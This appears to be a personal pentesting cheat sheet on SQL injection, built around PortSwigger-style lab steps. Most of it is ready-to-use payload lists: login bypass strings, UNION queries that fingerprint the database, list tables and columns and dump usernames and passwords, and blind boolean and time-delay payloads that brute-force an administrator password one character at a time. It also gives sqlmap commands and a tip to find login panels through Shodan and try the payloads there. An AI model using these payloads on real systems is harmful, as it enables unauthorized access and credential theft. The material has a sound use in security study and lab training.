SQL Injection

ACCESS POINTS

  • UNION: URL: GET requests

  • UNION: products / categories URL

  • UNION: Login forms

  • BLIND: Tracking ID

  • BLIND: Cookie sessions

How to detect SQL injection vulnerabilities

The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

  • Submitting the single quote character ' and looking for errors or other anomalies.

  • Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.

  • Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application's responses.

  • Submitting payloads designed to trigger time delays when executed within a SQL query, and looking for differences in the time taken to respond.

  • Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitoring for any resulting interactions.

Subverting application logic - LOGIN FORMS

Consider an application that lets users log in with a username and password. If a user submits the username wiener and the password bluecheese, the application checks the credentials by performing the following SQL query:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.

Here, an attacker can log in as any user without a password simply by using the SQL comment sequence -- to remove the password check from the WHERE clause of the query. For example, submitting the username administrator'-- and a blank password results in the following query:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

This query returns the user whose username is administrator and successfully logs the attacker in as that user.

USERNAME: usename'--
PASSWORD: ''

//UNION SQL

First off, check if we can inject SQL commands into forms or URL params in the target website

https://insecure-website.com/products?category=Gifts'--
https://insecure-website.com/products?category=Gifts'+OR+1=1--

' OR 1=1--
' OR 1=1-- -
' OR 1=1#
' OR '1'='1'--
' OR '1'='1'-- -
' OR '1'='1'#
' OR '1'='1--
' OR '1'='1-- -
' OR '1'='1#
" OR 1=1--
" OR 1=1-- -
" OR 1=1#
') OR 1=1--
') OR 1=1-- -
') OR 1=1#
admin or 1=1--
admin or 1=1-- -
admin or 1=1#

UNION: DATABASE TYPE

Examining the database in SQL injection attacks Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software.

MSSQL

' UNION SELECT @@version--
' UNION SELECT NULL,@@version--

MySQL

' UNION SELECT @@version-- -
' UNION SELECT @@version#
' UNION SELECT NULL,@@version-- -
' UNION SELECT NULL,@@version#

Oracle

' UNION SELECT 'a' FROM dual--
' UNION SELECT 'a','b' FROM dual--
' UNION SELECT * FROM v$version--
' UNION SELECT BANNER,NULL FROM v$version--

PostgreSQL

' UNION SELECT version()--
' UNION SELECT NULL,version()--

SQLite

' UNION SELECT sqlite_version()--
' UNION SELECT sqlite_version(),NULL--

SQLMAP

$ sqlmap -u <target_URL> --dbs --crawl=2

  • On login / php website try sqli payloads

  • Use shodan for IP based login panels - try sqli

UNION: DETECT THE NUMBER OF COLUMS

The following commands detect the number of the columns in the database.

This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error

The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query.

UNION: determine the number of columns returned by the query

UNION: DETECT THE COLUMS CONTAINING TEXT

The reason for performing a SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.

Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.

  2. 2. Determine the number of columns that are being returned by the query. Verify that the query is returning three columns, using the following payload in the category parameter:

'+UNION+SELECT+NULL,NULL,NULL--

  1. Try replacing each null with the random value provided by the lab, for example:

'+UNION+SELECT+'abcdef',NULL,NULL--

  1. If an error occurs, move on to the next null and try that instead.

https://insecure-website.com/filter?category=Corporate+gifts'+UNION+SELECT NULL,'Vfq3Zl',NULL--

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,'a',NULL-- -
' UNION SELECT NULL,NULL,'a'--
' UNION SELECT NULL,NULL,'a'-- -

UNION ALL
We can combine the result of the query into the one column by using “UNION ALL” syntax.
' UNION ALL SELECT "' UNION SELECT flag,NULL,NULL from flags-- -",NULL,NULL from users-- -

UNION: LIST TABLE NAMES

Get the table name in which you want to get the information.

Most database types (with the notable exception of Oracle) have a set of views called the information schema which provide information about the database.

MSSQL

' UNION SELECT table_name,NULL FROM information_schema.tables--

MySQL

' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT table_name,NULL FROM information_schema.tables#

//group_concat(): Dump all tables simultaneously
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables-- -
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables#

PostgreSQL

' UNION SELECT table_name,NULL FROM information_schema.tables--

Oracle

' UNION SELECT table_name,NULL FROM all_tables--
' UNION SELECT * FROM all_tables

SQLite

' UNION SELECT tbl_name FROM sqlite_master--
' UNION SELECT tbl_name,NULL FROM sqlite_master--

UNION: LIST COLLUM NAMES

Get column names from the table name which we got.

This output indicates that there are three tables, called Products, Users, and Feedback.

You can then query information_schema.columns to list the columns in individual tables:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

MSSQL

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--

MySQL

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'#

PostgreSQL

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--

Oracle

Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

'+UNION+SELECT+'abc','def'+FROM+dual--

Use the following payload to retrieve the list of tables in the database:

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Find the name of the table containing user credentials. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--

Find the names of the columns containing usernames and passwords. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:

'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='table_name'--

SQLite

' UNION SELECT column

UNION: LIST INFOMATION IN TABLE

Get information in the table. For instance, suppose we want to get the username and password from the table named 'users'.

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.

  2. Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

'+UNION+SELECT+'abc','def'--

  1. Use the following payload to retrieve the contents of the users table:

'+UNION+SELECT+username,+password+FROM+users--

  1. Verify that the application's response contains usernames and passwords.

https://insecure-website.com/filter?category=Corporate+gifts'+UNION+SELECT+username,+password+FROM+users--

' UNION SELECT username,password FROM users--
' UNION SELECT username,password FROM users-- -

Oracle

' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username || '~' || password FROM users-- -
' UNION SELECT NULL,username || '~' || password FROM users--
' UNION SELECT NULL,username || '~' || password FROM users-- -
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'-- -
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'-- -
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'-- -

BINARY: Sensitive to upper case and lower case.

' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'--
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'-- -

Dumping Table

' UNION SELECT table_name FROM table_name--
' UNION SELECT table_name,NULL FROM table_name--

//BLIND SQL

Many instances of SQL injection are blind vulnerabilities. This means that the application does not return the results of the SQL query or the details of any database errors within its responses. Blind vulnerabilities can still be exploited to access unauthorized data, but the techniques involved are generally more complicated and difficult to perform.

  1. Check if the SQL Injection Works

' AND '1'='1
' AND '1'='2
' AND (SELECT 'a' FROM users LIMIT 1)='a

  1. Check if Content Value Exists For example, check if username 'administrator' exists in 'users'

' AND (SELECT 'a' FROM users WHERE username='administrator')='a

If so, determine the password length

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=8)='a

Brute force password's character

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,8,1) FROM users WHERE username='administrator')='$a$

BLIND: Conditional Response

Consider an application that uses tracking cookies to gather analytics about usage.

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using a SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a message is displayed within the page.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, we start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m. Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

BLIND: Conditional Error

In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application's responses.

In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application's response (such as an error message), allowing us to infer the truth of the injected condition.

BLIND: Verbose SQL Error messages

Misconfiguration of the database sometimes results in verbose error messages. These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id parameter:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

This shows the full query that the application constructed using our input. As a result, we can see the context that we're injecting into, that is, a single-quoted string inside a WHERE statement. This makes it easier to construct a valid query containing a malicious payload. In this case, we can see that commenting out the rest of the query would prevent the superfluous single-quote from breaking the syntax.

Occasionally, you may be able to induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a "visible" one.

One way of achieving this is to use the CAST() function, which enables you to convert one data type to another. For example, consider a query containing the following statement:

CAST((SELECT example_column FROM example_table) AS int)

Often, the data that you're trying to read is a string. Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:

ERROR: invalid input syntax for type integer: "Example data"

BLIND SQL (Time-based)

In some of the preceding examples, we've seen how you can exploit the way applications fail to properly handle database errors. But what if the application catches these errors and handles them gracefully? Triggering a database error when the injected SQL query is executed no longer causes any difference in the application's response, so the preceding technique of inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of a SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received.

  1. First Check

MySQL

' AND sleep(5)-- -

PostgreSQL

'||pg_sleep(10)--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

Microsoft SQL

The first of these inputs will not trigger a delay, because the condition 1=2 is false. The second input will trigger a delay of 10 seconds, because the condition 1=1 is true.

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

  1. Check if Content Value Exists

'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

If so, determine the password length
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=8) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Brute force password character
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,2,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,8,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Blind SQL injection with time delays

  1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.

  2. Modify the TrackingId cookie, changing it to:

TrackingId=x'||pg_sleep(10)--

  1. Submit the request and observe that the application takes 10 seconds to respond.

Oracle         trackingid= sdfsdfsdfsdfsdf'    dbms_pipe.receive_message(('a'),10)
Microsofttrackingid= sdfsdfsdfsdfsdf'    WAITFOR DELAY '0:0:10'
PostgreSQLtrackingid= sdfsdfsdfsdfsdf'||pg_sleep(10)--
MySQL         trackingid= sdfsdfsdfsdfsdf'||(SELECT SLEEP(10))--

Blind SQL injection with time delays and information retrieval

BLIND: Exploiting blind SQL injection using out-of-band (OAST) techniques

Now, suppose that the application carries out the same SQL query, but does it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable to SQL injection, however none of the techniques described so far will work: the application's response doesn't depend on whether the query returns any data, or on whether a database error occurs, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. As previously, these can be triggered conditionally, depending on an injected condition, to infer information one bit at a time. But more powerfully, data can be exfiltrated directly within the network interaction itself.

A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems.

The easiest and most reliable way to use out-of-band techniques is using Burp Collaborator. This is a server that provides custom implementations of various network services (including DNS), and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application. Support for Burp Collaborator is built in to Burp Suite Professional with no configuration required.

You can use Burp Collaborator to generate a unique subdomain and poll the Collaborator server to confirm when any DNS lookups occur.

Out-of-band (OAST) techniques are an extremely powerful way to detect and exploit blind SQL injection, due to the highly likelihood of success and the ability to directly exfiltrate data within the out-of-band channel. For this reason, OAST techniques are often preferable even in situations where other techniques for blind exploitation do work.

PRO Lab: Blind SQL injection with out-of-band interaction

PRO Lab: Blind SQL injection with out-of-band data exfiltration

PreviousNoSQL InjectionNextCTF

Last updated